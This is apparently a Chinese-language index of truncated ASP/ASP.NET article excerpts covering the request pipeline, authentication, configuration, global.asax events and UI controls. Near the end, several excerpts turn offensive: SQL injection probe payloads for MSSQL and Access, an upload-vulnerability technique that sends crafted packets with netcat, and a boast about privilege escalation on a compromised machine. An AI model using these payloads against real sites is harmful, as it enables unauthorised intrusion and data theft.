ASP

一、Asp.Net執行過程    當用戶端向web伺服器請求一個*.aspx的分頁檔時，同asp類似，這個http請求也會被inetinfo.exe進程截獲（www服務），它判斷檔案尾碼之後，把這個請求轉交給ASPNET_ISAPI.DLL而ASPNET_ISAPI.DLL則會通過一個Http PipeLine的管道，將這個http請求發送給ASPNET_WP.EXE進程，當這個HTTP請求進入ASPNET_WP.EXE進程之後，asp.net

　　本教程闡釋在 ASP.NET 2.0 版中，IIS 整合 Windows 身分識別驗證以及ASP.NET Windows 身分識別驗證的工作機制。同時，闡釋 NTLM 和 Kerberos 身分識別驗證的工作機制。此外，本教程還闡釋WindowsAuthenticationModule 類如何構造 WindowsPrincipal 和 WindowsIdentity對象，然後將這些對象附加到當前的 ASP.NET Web

在 ASP.NET 之前，需要使用 ISAPI 篩選器來實現 IIS Web 服務器上的 URL 重寫。由於 ASP.NET 引擎與 IIS 非常相似，因此可以使用 ASP.NET 進行 URL 重寫。存在相似之處的原因在於 ASP.NET 引擎可以實現以下功能：在處理請求時可以引發事件。允許任意數量的 HTTP 模組處理所引發的事件，這與 IIS 的 ISAPI 篩選器相似。將呈現被請求資源這項任務委託給 HTTP 處理常式，該處理常式與 IIS 的 ISAPI 擴充相似。與 IIS

    使用 ASP.NET 的過程中, 資料庫訪問是一個很重要的部分, 特別是在 B/S 系統的構建過程中, 資料庫操作幾乎成為了一個必不可少的操作。調用預存程序實現資料庫操作是很多程式員使用的方法。本文將和大家一起學習預存程序ASP.NET 資料庫應用程式中預存程序的應用, 以此提高 ASP.NET 資料庫應用程式的總體效能。1. 關於預存程序     預存程序 (Stored Procedure) 是一組為了完成特定功能的SQL 陳述式集,

   在ASP.NET中是使用XML檔案來進行組態管理的。一個應用程式的核心設定的所有資訊都需要配置，包括給應用程式所定製的特有的設定，都要儲存在這些設定檔中。   ASP.NET的設定檔與傳統的ASP配置相比有一下幾點改善   1.設定檔不會被鎖定，我們可以在任何時候更新配置設定，ASP.NET會平滑的把它傳送給一個新的應用程式定義域   2.設定檔可以被很容易的訪問和複製。只要擁有相應的網路授權，就可以通過遠端電腦編輯（或替換）設定檔  

   每個Web應用程式都繼承來自machine.config檔案和基本web.config檔案的設定。另外，還可以給每個web應用程式進行單獨的設定。例如，可以設定一個特定的方法用於授權、設定調試的類型、設定預設的語言或者定義錯誤頁等。在web應用程式的虛擬根目錄中添加一個web.config檔案就可以了。如果需要給某個子目錄添加自己的設定，那麼在對應的子目錄中添加一個web.config檔案，並且在其中添加相應的設定就可以了。  

  不是每個請求都觸發的事件。  1.Application_Start():當應用程式第一次啟動和應用程式定義域被建立的時候，這個方法被調用。把應用程式範圍內的初始化i代碼放在這個事件處理器中是非常合適的。例如，在這個時點可以載入和緩衝應用程式整個生命週期中都不發生改變的資料，像導航樹靜態產品目錄等等。  2.Session_Start():在一個新的會話（Session）開始的時候這個方法被調用。這是經常用於初始化特定使用者資訊的時點。 

     ASP.NET的關鍵目標之一是建立一種讓開發人員能夠像Windows應用程式開發人員定製傳統型應用程式那樣的快速定製Web Forms的模式。當然Web應用程式與傳統富用戶端應用程式有很大的不同，要實現這種模式有兩個關鍵的障礙。    

     ASP.NET允許我們在global.asax檔案中編寫能夠接受全域事件的事件處理器。使用者不會直接請求這個global.asax檔案，而是在響應一個確定的應用程式事件中自動的執行global.asax檔案。global.asax檔案提供了跟傳統的ASP應用程式中的global.asa檔案類似的服務。    

樹形圖用於顯示按照樹形結構進行組織的資料，其用途比較廣泛，如電腦中的檔案系統(Windows中的資源管理員)、企業或公司的組成結構等。我們知道在Windows下VB、PB、Delphi等工具提供了一個功能很強的樹型控制項TreeView，利用Treeview控制項可以方便地開發樹形圖。然而在網頁上實現樹形圖就不那麼容易了，現在在ASP.NET中利用微軟提供的Internet Explorer

   最近一直在研究ExtJS,準備用ExtJS做項目的時候鬱悶了,網上搜尋了半天和官方demo也沒有發現如何結合ASP.NET做伺服器端來現實ExtJS GridPanel 前台分頁的相關資料和代碼（PS:都只有PHP+MySql的。我哭!!!!），因項目需要,在苦痛掙紮了一天后,做出了一個DEMO（ASP.NET + SQL Server 2005）。先放在網上，第一大家看下有什麼地方需要最佳化沒有，第二是避免其他ASP.NET程式員為網上苦苦搜尋而找不到相關代碼而鬱悶。      

感覺看技術類的文章首先要實踐，其次要總結，哎，總結下這幾天的知識點，多也不多，少也不少，快一本書的內容，連同以前的一起，精華下吧------ 1.理解codebehind模式

1.實現向網頁中動態加入js指令碼 在system.we.ui.page中包含了兩個方法RegisterStartUpScript（），RegisterClientScriptBlock()可以動態的向網頁中添加指令碼他們均含有兩個參數，key，script，key是唯一識別碼，script是指令碼塊;這兩個方法的唯一不同就是產生的指令碼塊的位置不同。嘿嘿，就是雙胞胎啊------生的時間不一樣--- 2.頁面的跳轉方法 首先可以使用asp中的方法就是註冊一個引用，<a href="xx.

asp.net mvc在3月正式發布了1.0版，這裡是轉的一個簡介，原文在http://www.cnblogs.com/QLeelulu/archive/2008/10/05/1303997.htmllulu studio 寫了不少關於mvc的文章，值得一看。如果英文足夠好，也可到 http://www.asp.net/mvc

1. 下載ckeditor放到網站目錄下。地址：http://ckeditor.com/ 引用js  <script language="javascript"type="text/javascript" src='<%=ResolveUrl("~/ckeditor/ckeditor.js")%>'></script> 3.添加一個編輯框  <asp:TextBox ID="mckeditor"runat="server"

網頁出現500錯誤無法開啟，可通過設定調試屬性來顯示錯誤！在瀏覽器本地開啟asp網頁http://localhost/出現這個情況：An error occurred on the server when processing the URL. Please contact the system administrator.If you are the system administrator please click here to find out more about this error

其實上個禮拜我和凱文就在我的肉雞上測試了,還有河馬史詩.結果是在user許可權下成功添加Administrators組的使用者了(雖然我不敢相信我的眼睛).上次凱文不發話,我不敢發布啊....現在在他的blog

1.判斷是否有注入;and 1=1;and 1=22.初步判斷是否是mssql;and user>03.判斷資料庫系統;and (select count(*) from sysobjects)>0 mssql;and (select count(*) from msysobjects)>0 access4.注入參數是字元'and [查詢條件] and ''='5.搜尋時沒過濾參數的'and [查詢條件] and '%25'='6.猜資料庫;and (Select Count(

：http://lixi4o.lucidpc.net/1：傳漏洞利用的原理只是針對form格式上傳的asp和php指令碼*** nc(netcat)    用於提交資料包    dos介面下運行:    nc -vv www.***.com 80<1.txt    -vv: 回顯    80:  www連接埠    1.txt: 就是你要發送的資料包   (更多使用方法請查看本區的文章) wse(wsockexpert)    對本機連接埠的監視,抓取ie提交的資料包 2：漏洞原理

ASP中資料庫的安全是一個很嚴肅的問題。很多代碼的編寫者意識到了這類問題，並且小心翼翼地對他們認為有問題的地方做了補救，但常見的情況是要麼沒有窮盡所有的可疑地點，要麼這種補救邏輯上有誤。對於一個耐心且嗅覺靈敏的攻擊者來說，這種意義上的補救措施和沒有任何補救措施沒有本質上區別。下面羅列的是一些可能出現的問題：有些是常見易犯的錯誤，有些根本就是邏輯上有問題。看看你是不是也這樣寫過？對於攻擊者而言，倒著看這些東西，應該對尋找漏洞有點協助，更為完整一點的檢測方法，請等我的關於黑/白盒分析和自動化測試文章